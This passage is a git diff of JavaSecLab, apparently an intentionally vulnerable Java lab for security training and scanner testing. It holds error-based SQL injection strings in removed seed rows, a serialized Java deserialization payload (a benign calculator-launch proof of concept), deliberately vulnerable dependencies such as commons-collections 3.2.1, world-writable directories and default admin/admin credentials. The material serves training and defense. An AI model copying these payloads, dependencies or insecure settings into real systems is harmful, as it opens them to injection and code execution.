diff --git a/.gitignore b/.gitignore index cddf5d8..ee547e7 100644 --- a/.gitignore +++ b/.gitignore @@ -34,4 +34,7 @@ build/ ### Mac OS ### .DS_Store -/logs/ \ No newline at end of file +/logs/ +/.idea/ +/src/test/ +src/main/resources/application-aliyun.yml \ No newline at end of file diff --git a/.idea/.gitignore b/.idea/.gitignore deleted file mode 100644 index 13566b8..0000000 --- a/.idea/.gitignore +++ /dev/null @@ -1,8 +0,0 @@ -# Default ignored files -/shelf/ -/workspace.xml -# Editor-based HTTP Client requests -/httpRequests/ -# Datasource local storage ignored files -/dataSources/ -/dataSources.local.xml diff --git a/.idea/dataSources.xml b/.idea/dataSources.xml deleted file mode 100644 index cd5bd28..0000000 --- a/.idea/dataSources.xml +++ /dev/null @@ -1,13 +0,0 @@ - - - - - mysql.8 - true - docker-mac-13306 - com.mysql.cj.jdbc.Driver - jdbc:mysql://localhost:13306 - $ProjectFileDir$ - - - \ No newline at end of file diff --git a/.idea/encodings.xml b/.idea/encodings.xml deleted file mode 100644 index aa00ffa..0000000 --- a/.idea/encodings.xml +++ /dev/null @@ -1,7 +0,0 @@ - - - - - - - \ No newline at end of file diff --git a/.idea/misc.xml b/.idea/misc.xml deleted file mode 100644 index 4b661a5..0000000 --- a/.idea/misc.xml +++ /dev/null @@ -1,14 +0,0 @@ - - - - - - - - - - \ No newline at end of file diff --git a/.idea/mybatisx/templates.xml b/.idea/mybatisx/templates.xml deleted file mode 100644 index b022f50..0000000 --- a/.idea/mybatisx/templates.xml +++ /dev/null @@ -1,86 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/.idea/uiDesigner.xml b/.idea/uiDesigner.xml deleted file mode 100644 index 2b63946..0000000 --- a/.idea/uiDesigner.xml +++ /dev/null @@ -1,124 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/.idea/vcs.xml b/.idea/vcs.xml deleted file mode 100644 index 8306744..0000000 --- a/.idea/vcs.xml +++ /dev/null @@ -1,7 +0,0 @@ - - - - - - - \ No newline at end of file diff --git a/Dockerfile b/Dockerfile index 40dcbc3..f345b4c 100644 --- a/Dockerfile +++ b/Dockerfile @@ -3,13 +3,23 @@ FROM openjdk:8 WORKDIR /work LABEL maintainer="whgojp@foxmail.com" -LABEL version="1.0" +LABEL version="1.4" LABEL description="I think therefore I am." COPY target/JavaSecLab.jar /work/JavaSecLab.jar -EXPOSE 8080 -EXPOSE 9090 +RUN mkdir -p /tmp/upload && mkdir -p /tmp/static \ + && mkdir -p /tmp/static/api /tmp/static/css /tmp/static/images /tmp/static/js /tmp/static/lib /tmp/static/other /tmp/static/upload \ + && chmod -R 777 /tmp/upload /tmp/static \ + && echo "vul test.jsp" > /tmp/upload/test.jsp \ + && echo "vul test.txt" > /tmp/upload/test.txt \ + && echo "test readme.md" > /tmp/static/api/readme.md \ + && echo "test styles.css" > /tmp/static/css/styles.css \ + && echo "test script.js" > /tmp/static/js/script.js \ + && echo "test resource.txt" > /tmp/static/other/resource.txt \ + && echo "test file.txt" > /tmp/static/upload/file.txt + +EXPOSE 80 ENV IMAGE_NAME=JavaSecLab diff --git a/README.md b/README.md index 746f9cf..42925ce 100644 --- a/README.md +++ b/README.md @@ -1,62 +1,84 @@ -[//]: # (# logoJavaSecLab 一款综合Java漏洞平台) -# JavaSecLab 一款综合Java漏洞平台 +# ![](./pic/logo.png)JavaSecLab—A comprehensive Java vulnerability platform -

-License -Release -Version -Developed by whgojp -

+
+ License + Release + Version + Developed by whgojp + GitHub Repo stars + GitHub forks +
+ + +[中文文档😊](./README_ZH.md) ---------------------------------------- -## 项目介绍 -​ JavaSecLab是一款综合型Java漏洞平台,提供相关漏洞缺陷代码、修复代码、漏洞场景、审计SINK点、安全编码规范,覆盖多种漏洞场景,友好用户交互UI…… +## Project introduction +​ JavaSecLab is **the most comprehensive Java vulnerability platform **, providing related vulnerability defect code, repair code, vulnerability scenarios, audit SINK point, security coding specifications, vulnerability traffic analysis, covering a variety of vulnerability scenarios, user-friendly interaction UI...... ![image-20241020143155383](./pic/home.png) ![show](./pic/show.png) -![show](./pic/show2.png) +## public-facing + +- Security services: Help security service personnel understand the principle of vulnerability (generation, repair, audit), and corresponding vulnerability traffic analysis + +- Party A's security: It can be used as a development security training demonstration, a friendly interactive way to help R & D students more easily understand the vulnerability + +- Security research: Different trigger scenarios for various vulnerabilities can be used for testing security tools such as xAST + -## 面向人群 +## Support vulnerability module -- 安全服务方面:帮助安全服务人员理解漏洞原理(产生、修复、审计) -- 甲方安全方面:可作为开发安全培训演示,友好的交互方式,帮助研发同学更容易理解漏洞 -- 安全研究方面:各种漏洞的不同触发场景,可用于xAST等安全工具测试 +- Cross-site scripting attacks, cross-site request forgery, CORS, JSONP, URL redirection, XFF forgery, denial of service, XPATH injection -## 在线环境体验 +- SQL Injection, arbitrary file family, cross-server request forgery, XML entity injection, RCE + +- Logic vulnerabilities (IDOR, verification code security, payment security, concurrency security), sensitive information leakage series, login antagonism series + +- SPEL injection, SSTI injection, deserialization, component vulnerabilities + + +## Online environment experience http://whgojp.top/ -账号密码:admin/admin +Account password: admin/admin + +## Project inspiration + +​ **I have worked in Party A's unit for a period of time, and had access to the complete vulnerability life cycle ** : After completing penetration tests many times, I sent work orders (TAPD, Jira) to notify the R&D students to fix the vulnerability, and I often faced some problems: **1, the R&D did not know why this was a vulnerability? 2, R&D does not know how to fix this vulnerability? ** +​ Thus, an idea 💡 arises spontaneously, and I happen to know some development knowledge, wondering whether I can let the R & D students quickly understand the generation and repair of loopholes through the way of code... -## 项目灵感 +> The platform provides security coding specifications for relevant vulnerabilities, and Party A friends can consider joining the development of security training when doing SDL/DevSecOps construction -​ 曾在甲方单位工作过一段时间,有机会可以接触到完整的**漏洞生命周期**:很多次做完渗透测试后,通过(TAPD、Jira)发送工单通知研发朋友修复漏洞,经常面临着一些问题:**1、研发不知道为什么这是个漏洞?2、研发不知道这个漏洞怎么修复?** -​ 由此,一个想法💡油然而生,恰巧自己也懂些开发知识,想着可不可以通过代码的方式让研发朋友快速了解漏洞的产生与修复…… +​ In addition, I have also done security service projects, I think most of my friends will be with me, just according to the information collection -> network -> Discovery of vulnerabilities -> output report this process test, for how the vulnerability is generated, how to repair, it seems not concerned... -> 平台提供相关漏洞的安全编码规范,甲方朋友在做SDL/DevSecOps建设的时候,可以考虑加入开发安全培训这一环节 +​ In the process of code audit, it is common to locate the SINK point (that is, the key location of code execution or output) and then backtrack to find the corresponding SOURCE point (that is, the location of the input or data source). The code audit is done by concatenating the SOURCE and SINK points -​ 此外,自己也做过安全服务类项目,我想大部分朋友会和我一下,只是按照 信息收集->外网打点->发现漏洞->输出报告 这个流程测试,对于漏洞怎么产生、怎么修复,似乎并不关心…… +> For each vulnerability, the platform provides the corresponding defect code and various security repair methods (such as: 1, upgrade repair 2, non-upgrade repair). At the same time, for code audit, the platform also provides the SINK point of related vulnerabilities -​ 代码审计过程中,通常是先定位SINK点(即代码执行或输出的关键位置),然后再回溯寻找对应的SOURCE点(即输入或数据来源的位置)。通过将SOURCE点和SINK点串联起来,来完成代码审计工作 +​ Later, contact with application security products, SCA, SAST, DAST, RASP, etc., looking at security vulnerabilities seems to be another Angle, for customers, the purchase of security tools, whether it is scanning source code, containers, images... Of course, I also hope to less false positives, the author has more or less access to accessibility analysis and other related technologies, the project has also written different trigger scenarios for each vulnerability, interested friends can test it... -> 平台针对每种漏洞提供对应缺陷代码、多种安全安全修复方式(例如:1、升级修复 2、非升级修复),同时针对代码审计,平台也提供相关漏洞的SINK点 +> The platform provides multiple trigger scenarios for the same vulnerability -​ 再后来,接触了应用安全产品,SCA、SAST、DAST、RASP等,看待安全漏洞似乎又是另一种角度,对于客户来说,采购的安全工具,无论是扫源码、容器、镜像……,都希望尽可能的扫到更多的漏洞,当然也希望少点误报,笔者也或多或少接触到可达性分析等相关技术,项目中也针对每种漏洞编写了不同的触发场景,感兴趣的朋友可以测试一下…… +🆕 update the vulnerability traffic analysis module to facilitate teachers' reference and learning. Take the vulnerability traffic of this project as an example. If you have better vulnerability traffic packets, welcome to submit PR to participate in the project 🌹 -> 平台针对同种漏洞提供多种触发场景 +![flow1](./pic/flow1.png) -…… +Here, take delayed injection as an example: the traffic characteristic can be clearly seen from the response time: the server responds after 5 seconds -## 技术架构 +![flow2](./pic/flow2.png) + +## Technical architecture ​ SpringBoot + Spring Security + MyBatis + Thymeleaf + Layui -## 部署方式 +## Deployment mode -先clone下项目代码 +clone the project code first ```shell git clone https://github.com/whgojp/JavaSecLab.git @@ -64,24 +86,24 @@ git clone https://github.com/whgojp/JavaSecLab.git ![image-20240905230400930](./pic/git-clone.png) -### 原生部署-IDEA +### Local deployment -IDEA -> JDK环境 1.8 +> JDK Environment 1.8 -1. 配置数据库(**Mysql 8.0+**) +1. Configuration Database (**Mysql 8.0+**) - 执行 sql/JavaSecLab.sql 文件 + Execute the sql/JavaSecLab.sql file - 修改配置文件application.yml active为dev(项目默认为docker 如果搭建的过程中出现数据库连接错误 师傅们可以注意下这里) + Modify the configuration file application.yml active to dev(the project default is docker if there is a database connection error during the construction process, teachers can pay attention to here) ```yaml spring: - # 环境 dev|docker + # Environment dev|docker profiles: active: dev ``` -2. 修改application-dev.yml配置文件 +2. Modify the application-dev.yml configuration file ```yaml username: root @@ -91,11 +113,13 @@ url: jdbc:mysql://localhost:13306/JavaSecLab?characterEncoding=utf8&zeroDateTime logo -初始账号密码:admin/admin(后台可修改) +Initial password: admin/admin(can be changed in the background) -### Docker部署(推荐) +### Docker Deployment (**Recommended**) -> 条件:已安装docker和docker-compose +> Condition: docker and Docker-Compose are installed +> +> If the sql file is not initialized during docker deployment (that is, the database is empty), you need to manually import the sql file ```shell mvn clean package -DskipTests @@ -106,30 +130,43 @@ docker-compose -p javaseclab up -d ![image-20240905225532698](./pic/deploy-docker2.png) -## TodoList - -- [ ] 跨站脚本模块实现 -- [ ] SQL注入模块实现 -- [ ] 任意文件类模块实现 +For details about deployment solutions and deployment questions, see:[Deployment guide](https://github.com/whgojp/JavaSecLab/wiki/%E9%83%A8%E7%BD%B2%E6%8C%87%E5%8D%97) -## 开源协议 +## Open source protocol ​ **When we speak of free software, we are referring to freedom, not price.** -本项目遵循 [Apache License 2.0](http://www.apache.org/licenses/LICENSE-2.0) 协议,详细的许可证内容请参见项目中的 [LICENSE](./LICENSE) 文件。 +This project follows [Apache License 2.0](http://www.apache.org/licenses/LICENSE-2.0) protocol,the detailed content of License please see the [LICENSE](./LICENSE) file。 + +## Update record -## 一些Tips🙋 +Project detailed record update, please refer to [update log](https://github.com/whgojp/JavaSecLab/wiki/%E6%9B%B4%E6%96%B0%E6%97%A5%E5%BF%97) -1. 安全问题:由于是漏洞靶场,因此不建议搭建在公网上使用 -1. 项目中的安全修复代码仅供参考,实际业务中漏洞修复起来可能要复杂的多…… -1. **问题/建议反馈:如果遇到一些项目问题或者更好的建议,欢迎各位师傅可以提Issue或加我微信进行反馈** -1. **看到这里,师傅觉得项目有用的话,麻烦动动手点个star吧,非常感谢🙏** +## A few Tips🙋 -## 关于作者 +1. Security issues: Because it is a vulnerability shooting range, it is not recommended to use it on the public network +1. The security repair code in the project is for reference only, and the actual business vulnerability repair may be much more complex... +1. **Problem/Suggestion feedback: If you encounter some project problems or better suggestions, you are welcome to raise an Issue or add a communication group for feedback ** +1. **See here, if the master thinks the project is useful, please move and click a star, thank you very much 🙏** -作者博客:https://blog.csdn.net/weixin_53009585 +## About the author + +Author's blog:[今天是几号](https://blog.csdn.net/weixin_53009585) + +**If the master is also interested in development security, application security, SDL, vulnerability shooting range, etc., welcome to join the exchange group to discuss... ** -作者微信:
description -
\ No newline at end of file + description + + + +## Sponsor open source + +​ If you find this tool helpful, consider supporting the author's development efforts. Your sponsorship will be used to maintain the online server and continuously optimize the project function, thank you very much for your encouragement and support! + +
+ +
+ + diff --git a/README_ZH.md b/README_ZH.md new file mode 100644 index 0000000..96a4f27 --- /dev/null +++ b/README_ZH.md @@ -0,0 +1,170 @@ +# ![](./pic/logo.png)JavaSecLab 一款综合Java漏洞平台 + +
+ License + Release + Version + Developed by whgojp + GitHub Repo stars + GitHub forks +
+ + +---------------------------------------- + +## 项目介绍 +​ JavaSecLab是**一款综合型Java漏洞平台**,提供相关漏洞缺陷代码、修复代码、漏洞场景、审计SINK点、安全编码规范、漏洞流量分析,覆盖多种漏洞场景,友好用户交互UI…… + +![image-20241020143155383](./pic/home.png) + +![show](./pic/show.png) + +## 面向人群 + +- 安全服务方面:帮助安全服务人员理解漏洞原理(产生、修复、审计),以及对应漏洞流量分析 + +- 甲方安全方面:可作为开发安全培训演示,友好的交互方式,帮助研发同学更容易理解漏洞 + +- 安全研究方面:各种漏洞的不同触发场景,可用于xAST等安全工具测试 + + +## 支持漏洞模块 + +- 跨站脚本攻击、跨站请求伪造、CORS、JSONP、URL重定向、XFF伪造、拒绝服务、XPATH注入 + +- SQL注入、任意文件系列、跨服务端请求伪造、XML实体注入、RCE + +- 逻辑漏洞(IDOR、验证码安全、支付安全、并发安全)、敏感信息泄漏系列、登录对抗系列 + +- SPEL注入、SSTI注入、反序列化、组件漏洞 + + +## 在线环境体验 + +http://whgojp.top/ + +账号密码:admin/admin + +## 项目灵感 + +​ 曾在甲方单位工作过一段时间,有机会接触到完整的**漏洞生命周期**:很多次做完渗透测试后,通过(TAPD、Jira)发送工单通知研发同学修复漏洞,经常面临着一些问题:**1、研发不知道为什么这是个漏洞?2、研发不知道这个漏洞怎么修复?** +​ 由此,一个想法💡油然而生,恰巧自己也懂些开发知识,想着可不可以通过代码的方式让研发同学快速了解漏洞的产生与修复…… + +> 平台提供相关漏洞的安全编码规范,甲方朋友在做SDL/DevSecOps建设的时候,可以考虑加入开发安全培训这一环节 + +​ 此外,自己也做过安全服务类项目,我想大部分朋友会和我一下,只是按照 信息收集->外网打点->发现漏洞->输出报告 这个流程测试,对于漏洞怎么产生、怎么修复,似乎并不关心…… + +​ 代码审计过程中,通常是先定位SINK点(即代码执行或输出的关键位置),然后再回溯寻找对应的SOURCE点(即输入或数据来源的位置)。通过将SOURCE点和SINK点串联起来,来完成代码审计工作 + +> 平台针对每种漏洞提供对应缺陷代码、多种安全安全修复方式(例如:1、升级修复 2、非升级修复),同时针对代码审计,平台也提供相关漏洞的SINK点 + +​ 再后来,接触了应用安全产品,SCA、SAST、DAST、RASP等,看待安全漏洞似乎又是另一种角度,对于客户来说,采购的安全工具,无论是扫源码、容器、镜像……,都希望尽可能的扫到更多的漏洞,当然也希望少点误报,笔者也或多或少接触到可达性分析等相关技术,项目中也针对每种漏洞编写了不同的触发场景,感兴趣的朋友可以测试一下…… + +> 平台针对同种漏洞提供多种触发场景 + +🆕 更新漏洞流量分析模块,方便师傅们参考学习,以本项目漏洞流量为例,如果您有更好的漏洞流量数据包,欢迎提PR参与项目🌹 + +![flow1](./pic/flow1.png) + +这里以延时注入为例:可以从响应时间明显的看到其流量特征:5秒后服务器响应 + +![flow2](./pic/flow2.png) + +## 技术架构 + +​ SpringBoot + Spring Security + MyBatis + Thymeleaf + Layui + +## 部署方式 + +先clone下项目代码 + +```shell +git clone https://github.com/whgojp/JavaSecLab.git +``` + +![image-20240905230400930](./pic/git-clone.png) + +### 本地部署-IDEA + +> JDK环境 1.8 + +1. 配置数据库(**Mysql 8.0+**) + + 执行 sql/JavaSecLab.sql 文件 + + 修改配置文件application.yml active为dev(项目默认为docker 如果搭建的过程中出现数据库连接错误 师傅们可以注意下这里) + + ```yaml + spring: + # 环境 dev|docker + profiles: + active: dev + ``` + +2. 修改application-dev.yml配置文件 + +```yaml +username: root +password: QWE123qwe +url: jdbc:mysql://localhost:13306/JavaSecLab?characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true&allowPublicKeyRetrieval=true&allowMultiQueries=true +``` + +logo + +初始账号密码:admin/admin(后台可修改) + +### Docker部署(推荐) + +> 条件:已安装docker和docker-compose +> +> docker部署过程中 sql文件没有初始化执行的话(即数据库为空) 需要手动导入下sql文件 + +```shell +mvn clean package -DskipTests +docker-compose -p javaseclab up -d +``` + +![image-20240905225532698](./pic/deploy-docker.png) + +![image-20240905225532698](./pic/deploy-docker2.png) + +更多部署方案、部署问题解答详见:[部署指南](https://github.com/whgojp/JavaSecLab/wiki/%E9%83%A8%E7%BD%B2%E6%8C%87%E5%8D%97) + +## 开源协议 + +​ **When we speak of free software, we are referring to freedom, not price.** + +本项目遵循 [Apache License 2.0](http://www.apache.org/licenses/LICENSE-2.0) 协议,详细的许可证内容请参见项目中的 [LICENSE](./LICENSE) 文件。 + +## 更新记录 + +项目的详细更新记录请参阅 [更新日志](https://github.com/whgojp/JavaSecLab/wiki/%E6%9B%B4%E6%96%B0%E6%97%A5%E5%BF%97) + +## 一些Tips🙋 + +1. 安全问题:由于是漏洞靶场,因此不建议搭建在公网上使用 +1. 项目中的安全修复代码仅供参考,实际业务中漏洞修复起来可能要复杂的多…… +1. **问题/建议反馈:如果遇到一些项目问题或者更好的建议,欢迎各位师傅可以提Issue或加交流群进行反馈** +1. **看到这里,师傅觉得项目有用的话,麻烦动动手点个star吧,非常感谢🙏** + +## 关于作者 + +作者博客:[今天是几号](https://blog.csdn.net/weixin_53009585) + +**如果师傅同样对开发安全、应用安全、SDL、漏洞靶场等感兴趣的话,欢迎加交流群一起探讨……** + +
+ description + description +
+ + +## 赞助开源 + +​ 如果您觉得这个工具对您有帮助,不妨考虑支持一下作者的开发工作。您的赞助将用于维护在线服务器和持续优化项目功能,非常感谢您的鼓励和支持! + +
+ +
+ + diff --git a/deploy.sh b/deploy.sh deleted file mode 100755 index c906668..0000000 --- a/deploy.sh +++ /dev/null @@ -1 +0,0 @@ -docker build -t javasec . && docker run -d -p 80:8888 -v logs:/logs javasec diff --git a/docker-compose.yml b/docker-compose.yml index e30506f..00ee434 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -15,26 +15,24 @@ services: - JavaSecLabNet JavaSecLab: - image: javaseclab:1.0 + image: javaseclab:1.4 container_name: Container-JavaSecLab restart: always build: . ports: - 80:80 - - 8080:8080 - - 9090:9090 environment: - - TZ=Asia/Shanghai # 设置时区为上海(GMT+8) + - TZ=Asia/Shanghai # 设置时区上海(GMT+8) depends_on: - mysql volumes: - ./logs:/logs # 记录日志信息 + networks: - JavaSecLabNet - # 密码 admin@portainer.com portainer: - image: portainer/portainer-ce + image: portainer/portainer-ce:latest container_name: portainer restart: always ports: diff --git a/pic/donate.jpg b/pic/donate.jpg new file mode 100644 index 0000000..543f2e1 Binary files /dev/null and b/pic/donate.jpg differ diff --git a/pic/flow1.png b/pic/flow1.png new file mode 100644 index 0000000..fc58e5c Binary files /dev/null and b/pic/flow1.png differ diff --git a/pic/flow2.png b/pic/flow2.png new file mode 100644 index 0000000..9482f9c Binary files /dev/null and b/pic/flow2.png differ diff --git a/pic/group.png b/pic/group.png new file mode 100644 index 0000000..a3537d9 Binary files /dev/null and b/pic/group.png differ diff --git a/pic/home.png b/pic/home.png index 34ca24b..436a659 100644 Binary files a/pic/home.png and b/pic/home.png differ diff --git a/pic/show.png b/pic/show.png index 866223f..d33af53 100644 Binary files a/pic/show.png and b/pic/show.png differ diff --git a/pom.xml b/pom.xml index c56f83b..dc216f5 100644 --- a/pom.xml +++ b/pom.xml @@ -6,16 +6,16 @@ top.whgojp JavaSecLab - 1.0.0 + 1.4.0 Java综合漏洞平台 - hello JavaSec! + hello JavaSecLab! org.springframework.boot spring-boot-starter-parent - - 2.4.1 - + + 2.4.1 + @@ -26,9 +26,10 @@ 5.8.21 1.18.4 3.5.1 - 8.0.33 + + 8.0.14 2.2.0.0 - 0.10.7 + 0.11.5 @@ -75,43 +76,13 @@ 1.2.16 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - com.mysql - mysql-connector-j - ${mysql.version} + + mysql + mysql-connector-java + 8.0.14 + com.baomidou @@ -192,19 +163,6 @@ provided - - - - - - - - - - - - - org.codehaus.groovy groovy-all @@ -265,6 +223,37 @@ spring-tx + + org.bouncycastle + bcprov-jdk15on + 1.70 + + + + ognl + ognl + 3.3.1 + + + + commons-collections + commons-collections + 3.2.1 + + + + org.springframework.boot + spring-boot-starter-websocket + 2.4.1 + + + + + com.baomidou + dynamic-datasource-spring-boot-starter + 3.6.1 + + JavaSecLab @@ -288,17 +277,16 @@ + - acfunnexus - https://maven.aliyun.com/repository/public/ - default - - true - - - true - + aliyun-central + https://maven.aliyun.com/repository/central + + + aliyun-public + https://maven.aliyun.com/repository/public + diff --git a/sql/JavaSecLab.sql b/sql/JavaSecLab.sql index 8928816..f5a046b 100644 --- a/sql/JavaSecLab.sql +++ b/sql/JavaSecLab.sql @@ -1,5 +1,5 @@ /* - Navicat Premium Data Transfer + Navicat Premium Dump SQL Source Server : mysql_docker_mac Source Server Type : MySQL @@ -11,47 +11,27 @@ Target Server Version : 80200 (8.2.0) File Encoding : 65001 - Date: 26/08/2024 19:15:41 + Date: 23/03/2025 17:52:40 */ SET NAMES utf8mb4; SET FOREIGN_KEY_CHECKS = 0; -- ---------------------------- --- Table structure for hsqli +-- Table structure for objects -- ---------------------------- -DROP TABLE IF EXISTS `hsqli`; -CREATE TABLE `hsqli` ( - `id` bigint NOT NULL AUTO_INCREMENT, - `password` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL, - `username` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL, +DROP TABLE IF EXISTS `objects`; +CREATE TABLE `objects` ( + `id` int NOT NULL, + `malicious_object` blob, PRIMARY KEY (`id`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci; - --- ---------------------------- --- Records of hsqli --- ---------------------------- -BEGIN; -COMMIT; - --- ---------------------------- --- Table structure for log --- ---------------------------- -DROP TABLE IF EXISTS `log`; -CREATE TABLE `log` ( - `logId` varchar(255) COLLATE utf8mb4_general_ci NOT NULL COMMENT 'log_id', - `username` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL COMMENT '用户名', - `optionName` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL COMMENT '用户操作', - `optionTerminal` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL COMMENT '操作终端', - `optionIp` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL COMMENT 'Ip地址', - `optionTime` date DEFAULT NULL COMMENT '创建时间', - PRIMARY KEY (`logId`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci; +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci; -- ---------------------------- --- Records of log +-- Records of objects -- ---------------------------- BEGIN; +INSERT INTO `objects` (`id`, `malicious_object`) VALUES (1, 0xACED000573720034746F702E7768676F6A702E6D6F64756C65732E737072696E67626F6F742E656E746974792E4D616C6963696F75734F626A656374C007A841C29C41060200014C0007636F6D6D616E647400124C6A6176612F6C616E672F537472696E673B78707400126F70656E202D612043616C63756C61746F72); COMMIT; -- ---------------------------- @@ -60,35 +40,18 @@ COMMIT; DROP TABLE IF EXISTS `sqli`; CREATE TABLE `sqli` ( `id` int NOT NULL AUTO_INCREMENT, - `username` varchar(255) COLLATE utf8mb4_general_ci NOT NULL COMMENT '用户名', - `password` varchar(255) COLLATE utf8mb4_general_ci NOT NULL COMMENT '密码', + `username` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '用户名', + `password` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '密码', PRIMARY KEY (`id`) USING BTREE -) ENGINE=InnoDB AUTO_INCREMENT=730 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci; +) ENGINE=InnoDB AUTO_INCREMENT=13 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci; -- ---------------------------- -- Records of sqli -- ---------------------------- BEGIN; -INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (706, '321', 'qwe'); -INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (707, '2', '1'); -INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (708, '1', '21'); -INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (713, '1', '1'); -INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (714, 'qwe', 'qwe'); -INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (715, '1', '1\' AND GTID_SUBSET(CONCAT(0x71706a7a71,(SELECT (ELT(7170=7170,1))),0x7171717071),7170) AND \'1\'=\'1'); -INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (716, '1', '1\' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) AND \'1\'=\'1'); -INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (717, '1', '1\' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) AND \'1\'=\'1'); -INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (718, '1', '1'); -INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (719, 'test', '1\' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) AND \'1\'=\'1'); -INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (720, 'test', '1\' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) AND \'1\'=\'1'); -INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (721, 'test', '1\' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) AND \'1\'=\'1'); -INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (722, 'test', '1\' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) AND \'1\'=\'1'); -INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (723, 'test', '1\' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) AND \'1\'=\'1'); -INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (724, 'test', '1\' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) AND \'1\'=\'1'); -INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (725, 'test', '1\' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) AND \'1\'=\'1'); -INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (726, '1', '1\' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) AND \'1\'=\'1'); -INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (727, '1', '1\' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) AND \'1\'=\'1'); -INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (728, '1', '1\' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) AND \'1\'=\'1'); -INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (729, '1', '1\' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) AND \'1\'=\'1'); +INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (1, 'admin', 'admin'); +INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (2, 'admin123', 'admin123'); +INSERT INTO `sqli` (`id`, `username`, `password`) VALUES (3, 'test', 'test'); COMMIT; -- ---------------------------- @@ -96,8 +59,8 @@ COMMIT; -- ---------------------------- DROP TABLE IF EXISTS `user`; CREATE TABLE `user` ( - `username` varchar(255) COLLATE utf8mb4_general_ci NOT NULL COMMENT '用户名', - `password` varchar(255) COLLATE utf8mb4_general_ci NOT NULL COMMENT '密码', + `username` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '用户名', + `password` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '密码', PRIMARY KEY (`username`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci; @@ -105,9 +68,9 @@ CREATE TABLE `user` ( -- Records of user -- ---------------------------- BEGIN; -INSERT INTO `user` (`username`, `password`) VALUES ('1', '1'); INSERT INTO `user` (`username`, `password`) VALUES ('123', '123'); INSERT INTO `user` (`username`, `password`) VALUES ('admin', 'admin'); +INSERT INTO `user` (`username`, `password`) VALUES ('test', 'test'); COMMIT; -- ---------------------------- @@ -116,11 +79,11 @@ COMMIT; DROP TABLE IF EXISTS `xss`; CREATE TABLE `xss` ( `id` int NOT NULL AUTO_INCREMENT COMMENT '主键id', - `content` text COLLATE utf8mb4_general_ci NOT NULL COMMENT '插入内容', + `content` text CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '插入内容', `ua` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT 'User-Agent', - `date` varchar(255) COLLATE utf8mb4_general_ci NOT NULL COMMENT '插入时间', + `date` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '插入时间', PRIMARY KEY (`id`) -) ENGINE=InnoDB AUTO_INCREMENT=74 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci; +) ENGINE=InnoDB AUTO_INCREMENT=85 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci; -- ---------------------------- -- Records of xss diff --git a/src/main/java/top/whgojp/Application.java b/src/main/java/top/whgojp/Application.java index 5623c51..59e0664 100644 --- a/src/main/java/top/whgojp/Application.java +++ b/src/main/java/top/whgojp/Application.java @@ -4,7 +4,6 @@ import 